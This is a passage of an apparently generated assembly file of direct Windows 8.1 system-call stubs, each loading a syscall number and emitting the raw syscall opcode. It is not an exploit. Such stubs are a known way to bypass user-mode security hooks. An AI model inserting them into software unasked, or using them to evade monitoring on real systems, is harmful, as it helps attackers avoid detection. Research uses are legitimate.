; ULONG64 __stdcall NtCreateKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateKeyTransacted PROC STDCALL
mov r10 , rcx
mov eax , 161
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateKeyTransacted ENDP
; ULONG64 __stdcall NtCreateKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 162
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateKeyedEvent ENDP
; ULONG64 __stdcall NtCreateLowBoxToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtCreateLowBoxToken PROC STDCALL
mov r10 , rcx
mov eax , 163
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateLowBoxToken ENDP
; ULONG64 __stdcall NtCreateMailslotFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateMailslotFile PROC STDCALL
mov r10 , rcx
mov eax , 164
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateMailslotFile ENDP
; ULONG64 __stdcall NtCreateMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateMutant PROC STDCALL
mov r10 , rcx
mov eax , 165
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateMutant ENDP
; ULONG64 __stdcall NtCreateNamedPipeFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 );
_6_3_9600_sp0_windows_8_1_NtCreateNamedPipeFile PROC STDCALL
mov r10 , rcx
mov eax , 166
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateNamedPipeFile ENDP
; ULONG64 __stdcall NtCreatePagingFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreatePagingFile PROC STDCALL
mov r10 , rcx
mov eax , 167
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreatePagingFile ENDP
; ULONG64 __stdcall NtCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreatePort PROC STDCALL
mov r10 , rcx
mov eax , 168
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreatePort ENDP
; ULONG64 __stdcall NtCreatePrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreatePrivateNamespace PROC STDCALL
mov r10 , rcx
mov eax , 169
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreatePrivateNamespace ENDP
; ULONG64 __stdcall NtCreateProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateProcess PROC STDCALL
mov r10 , rcx
mov eax , 170
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProcess ENDP
; ULONG64 __stdcall NtCreateProfile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtCreateProfile PROC STDCALL
mov r10 , rcx
mov eax , 171
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProfile ENDP
; ULONG64 __stdcall NtCreateProfileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtCreateProfileEx PROC STDCALL
mov r10 , rcx
mov eax , 172
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProfileEx ENDP
; ULONG64 __stdcall NtCreateResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 173
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateResourceManager ENDP
; ULONG64 __stdcall NtCreateSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateSemaphore PROC STDCALL
mov r10 , rcx
mov eax , 174
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateSemaphore ENDP
; ULONG64 __stdcall NtCreateSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateSymbolicLinkObject PROC STDCALL
mov r10 , rcx
mov eax , 175
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateSymbolicLinkObject ENDP
; ULONG64 __stdcall NtCreateThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtCreateThreadEx PROC STDCALL
mov r10 , rcx
mov eax , 176
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateThreadEx ENDP
; ULONG64 __stdcall NtCreateTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateTimer PROC STDCALL
mov r10 , rcx
mov eax , 177
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTimer ENDP
; ULONG64 __stdcall NtCreateTimer2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateTimer2 PROC STDCALL
mov r10 , rcx
mov eax , 178
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTimer2 ENDP
; ULONG64 __stdcall NtCreateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 );
_6_3_9600_sp0_windows_8_1_NtCreateToken PROC STDCALL
mov r10 , rcx
mov eax , 179
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateToken ENDP
; ULONG64 __stdcall NtCreateTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 );
_6_3_9600_sp0_windows_8_1_NtCreateTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 180
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTokenEx ENDP
; ULONG64 __stdcall NtCreateTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtCreateTransaction PROC STDCALL
mov r10 , rcx
mov eax , 181
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTransaction ENDP
; ULONG64 __stdcall NtCreateTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtCreateTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 182
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateTransactionManager ENDP
; ULONG64 __stdcall NtCreateUserProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtCreateUserProcess PROC STDCALL
mov r10 , rcx
mov eax , 183
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateUserProcess ENDP
; ULONG64 __stdcall NtCreateWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateWaitCompletionPacket PROC STDCALL
mov r10 , rcx
mov eax , 184
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWaitCompletionPacket ENDP
; ULONG64 __stdcall NtCreateWaitablePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateWaitablePort PROC STDCALL
mov r10 , rcx
mov eax , 185
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWaitablePort ENDP
; ULONG64 __stdcall NtCreateWnfStateName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateWnfStateName PROC STDCALL
mov r10 , rcx
mov eax , 186
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWnfStateName ENDP
; ULONG64 __stdcall NtCreateWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtCreateWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 187
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateWorkerFactory ENDP
; ULONG64 __stdcall NtDebugActiveProcess( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDebugActiveProcess PROC STDCALL
mov r10 , rcx
mov eax , 188
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDebugActiveProcess ENDP
; ULONG64 __stdcall NtDebugContinue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtDebugContinue PROC STDCALL
mov r10 , rcx
mov eax , 189
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDebugContinue ENDP
; ULONG64 __stdcall NtDeleteAtom( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteAtom PROC STDCALL
mov r10 , rcx
mov eax , 190
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteAtom ENDP
; ULONG64 __stdcall NtDeleteBootEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteBootEntry PROC STDCALL
mov r10 , rcx
mov eax , 191
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteBootEntry ENDP
; ULONG64 __stdcall NtDeleteDriverEntry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteDriverEntry PROC STDCALL
mov r10 , rcx
mov eax , 192
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteDriverEntry ENDP
; ULONG64 __stdcall NtDeleteFile( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteFile PROC STDCALL
mov r10 , rcx
mov eax , 193
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteFile ENDP
; ULONG64 __stdcall NtDeleteKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteKey PROC STDCALL
mov r10 , rcx
mov eax , 194
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteKey ENDP
; ULONG64 __stdcall NtDeleteObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtDeleteObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 195
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteObjectAuditAlarm ENDP
; ULONG64 __stdcall NtDeletePrivateNamespace( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeletePrivateNamespace PROC STDCALL
mov r10 , rcx
mov eax , 196
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeletePrivateNamespace ENDP
; ULONG64 __stdcall NtDeleteValueKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDeleteValueKey PROC STDCALL
mov r10 , rcx
mov eax , 197
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteValueKey ENDP
; ULONG64 __stdcall NtDeleteWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateData PROC STDCALL
mov r10 , rcx
mov eax , 198
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateData ENDP
; ULONG64 __stdcall NtDeleteWnfStateName( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateName PROC STDCALL
mov r10 , rcx
mov eax , 199
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeleteWnfStateName ENDP
; ULONG64 __stdcall NtDisableLastKnownGood( );
_6_3_9600_sp0_windows_8_1_NtDisableLastKnownGood PROC STDCALL
mov r10 , rcx
mov eax , 200
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDisableLastKnownGood ENDP
; ULONG64 __stdcall NtDisplayString( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDisplayString PROC STDCALL
mov r10 , rcx
mov eax , 201
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDisplayString ENDP
; ULONG64 __stdcall NtDrawText( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtDrawText PROC STDCALL
mov r10 , rcx
mov eax , 202
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDrawText ENDP
; ULONG64 __stdcall NtEnableLastKnownGood( );
_6_3_9600_sp0_windows_8_1_NtEnableLastKnownGood PROC STDCALL
mov r10 , rcx
mov eax , 203
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnableLastKnownGood ENDP
; ULONG64 __stdcall NtEnumerateBootEntries( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtEnumerateBootEntries PROC STDCALL
mov r10 , rcx
mov eax , 204
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateBootEntries ENDP
; ULONG64 __stdcall NtEnumerateDriverEntries( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtEnumerateDriverEntries PROC STDCALL
mov r10 , rcx
mov eax , 205
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateDriverEntries ENDP
; ULONG64 __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtEnumerateSystemEnvironmentValuesEx PROC STDCALL
mov r10 , rcx
mov eax , 206
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateSystemEnvironmentValuesEx ENDP
; ULONG64 __stdcall NtEnumerateTransactionObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtEnumerateTransactionObject PROC STDCALL
mov r10 , rcx
mov eax , 207
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateTransactionObject ENDP
; ULONG64 __stdcall NtExtendSection( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtExtendSection PROC STDCALL
mov r10 , rcx
mov eax , 208
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtExtendSection ENDP
; ULONG64 __stdcall NtFilterBootOption( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtFilterBootOption PROC STDCALL
mov r10 , rcx
mov eax , 209
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFilterBootOption ENDP
; ULONG64 __stdcall NtFilterToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtFilterToken PROC STDCALL
mov r10 , rcx
mov eax , 210
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFilterToken ENDP
; ULONG64 __stdcall NtFilterTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 );
_6_3_9600_sp0_windows_8_1_NtFilterTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 211
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFilterTokenEx ENDP
; ULONG64 __stdcall NtFlushBuffersFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFileEx PROC STDCALL
mov r10 , rcx
mov eax , 212
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFileEx ENDP
; ULONG64 __stdcall NtFlushInstallUILanguage( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtFlushInstallUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 213
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushInstallUILanguage ENDP
; ULONG64 __stdcall NtFlushInstructionCache( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtFlushInstructionCache PROC STDCALL
mov r10 , rcx
mov eax , 214
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushInstructionCache ENDP
; ULONG64 __stdcall NtFlushKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtFlushKey PROC STDCALL
mov r10 , rcx
mov eax , 215
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushKey ENDP
; ULONG64 __stdcall NtFlushProcessWriteBuffers( );
_6_3_9600_sp0_windows_8_1_NtFlushProcessWriteBuffers PROC STDCALL
mov r10 , rcx
mov eax , 216
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushProcessWriteBuffers ENDP
; ULONG64 __stdcall NtFlushVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtFlushVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 217
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushVirtualMemory ENDP
; ULONG64 __stdcall NtFlushWriteBuffer( );
_6_3_9600_sp0_windows_8_1_NtFlushWriteBuffer PROC STDCALL
mov r10 , rcx
mov eax , 218
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushWriteBuffer ENDP
; ULONG64 __stdcall NtFreeUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtFreeUserPhysicalPages PROC STDCALL
mov r10 , rcx
mov eax , 219
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreeUserPhysicalPages ENDP
; ULONG64 __stdcall NtFreezeRegistry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtFreezeRegistry PROC STDCALL
mov r10 , rcx
mov eax , 220
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreezeRegistry ENDP
; ULONG64 __stdcall NtFreezeTransactions( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtFreezeTransactions PROC STDCALL
mov r10 , rcx
mov eax , 221
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreezeTransactions ENDP
; ULONG64 __stdcall NtGetCachedSigningLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtGetCachedSigningLevel PROC STDCALL
mov r10 , rcx
mov eax , 222
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetCachedSigningLevel ENDP
; ULONG64 __stdcall NtGetCompleteWnfStateSubscription( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtGetCompleteWnfStateSubscription PROC STDCALL
mov r10 , rcx
mov eax , 223
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetCompleteWnfStateSubscription ENDP
; ULONG64 __stdcall NtGetContextThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtGetContextThread PROC STDCALL
mov r10 , rcx
mov eax , 224
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetContextThread ENDP
; ULONG64 __stdcall NtGetCurrentProcessorNumber( );
_6_3_9600_sp0_windows_8_1_NtGetCurrentProcessorNumber PROC STDCALL
mov r10 , rcx
mov eax , 225
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetCurrentProcessorNumber ENDP
; ULONG64 __stdcall NtGetDevicePowerState( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtGetDevicePowerState PROC STDCALL
mov r10 , rcx
mov eax , 226
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetDevicePowerState ENDP
; ULONG64 __stdcall NtGetMUIRegistryInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtGetMUIRegistryInfo PROC STDCALL
mov r10 , rcx
mov eax , 227
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetMUIRegistryInfo ENDP
; ULONG64 __stdcall NtGetNextProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtGetNextProcess PROC STDCALL
mov r10 , rcx
mov eax , 228
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNextProcess ENDP
; ULONG64 __stdcall NtGetNextThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtGetNextThread PROC STDCALL
mov r10 , rcx
mov eax , 229
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNextThread ENDP
; ULONG64 __stdcall NtGetNlsSectionPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtGetNlsSectionPtr PROC STDCALL
mov r10 , rcx
mov eax , 230
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNlsSectionPtr ENDP
; ULONG64 __stdcall NtGetNotificationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtGetNotificationResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 231
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetNotificationResourceManager ENDP
; ULONG64 __stdcall NtGetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtGetWriteWatch PROC STDCALL
mov r10 , rcx
mov eax , 232
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtGetWriteWatch ENDP
; ULONG64 __stdcall NtImpersonateAnonymousToken( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtImpersonateAnonymousToken PROC STDCALL
mov r10 , rcx
mov eax , 233
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtImpersonateAnonymousToken ENDP
; ULONG64 __stdcall NtImpersonateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtImpersonateThread PROC STDCALL
mov r10 , rcx
mov eax , 234
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtImpersonateThread ENDP
; ULONG64 __stdcall NtInitializeNlsFiles( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtInitializeNlsFiles PROC STDCALL
mov r10 , rcx
mov eax , 235
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtInitializeNlsFiles ENDP
; ULONG64 __stdcall NtInitializeRegistry( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtInitializeRegistry PROC STDCALL
mov r10 , rcx
mov eax , 236
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtInitializeRegistry ENDP
; ULONG64 __stdcall NtInitiatePowerAction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtInitiatePowerAction PROC STDCALL
mov r10 , rcx
mov eax , 237
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtInitiatePowerAction ENDP
; ULONG64 __stdcall NtIsSystemResumeAutomatic( );
_6_3_9600_sp0_windows_8_1_NtIsSystemResumeAutomatic PROC STDCALL
mov r10 , rcx
mov eax , 238
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtIsSystemResumeAutomatic ENDP
; ULONG64 __stdcall NtIsUILanguageComitted( );
_6_3_9600_sp0_windows_8_1_NtIsUILanguageComitted PROC STDCALL
mov r10 , rcx
mov eax , 239
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtIsUILanguageComitted ENDP
; ULONG64 __stdcall NtListenPort( ULONG64 arg_01 , ULONG64 arg_02 );
